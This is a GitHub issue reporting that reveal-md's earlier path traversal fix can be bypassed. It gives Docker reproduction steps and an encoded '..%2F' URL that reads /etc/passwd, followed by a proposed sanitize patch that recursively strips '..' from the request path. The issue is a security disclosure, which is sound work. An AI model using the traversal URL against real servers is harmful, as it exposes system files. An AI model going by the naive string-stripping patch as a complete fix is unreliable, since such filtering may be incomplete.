Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Patch for issue#409 is not sufficient and the protection can be bypassed by an attacker #423

Open
W0rty opened this issue Jul 13, 2022 · 1 comment

Comments

@W0rty
Copy link
Contributor

W0rty commented Jul 13, 2022

Step to reproduce :

  • git clone https://github.com/webpro/reveal-md
  • cd reveal-md && sudo docker build -t revealmd .
  • sudo docker run --rm -p 1948:1948 -p 35729:35729 -v $PWD/demo/:/slides webpronl/reveal-md:latest /slides --watch

Then open your browser and reach the following URL :
http://localhost:1948/a.md/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc.md%2F..%2Fetc%2Fpasswd#/

The content of the file /etc/passwd is disclosed.

I have a patch for it on the file lib/render.js :

function sanitize(entry)
{
  if(entry.includes(".."))
  {
    entry = sanitize(entry.replace("..",""))
  }
  return entry
}

module.exports = async (req, res) => {
  const dir = await getInitialDir();
  console.log(sanitize(decodeURIComponent(req.url)))
  const filePath = path.join(dir, sanitize(decodeURIComponent(req.url)).replace(/\?.*/, ''));
  const markup = await renderFile(filePath);
  res.send(markup);
};
@webpro
Copy link
Owner

webpro commented Jul 13, 2022

Thanks @W0rty, please open a PR if you have a patch

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants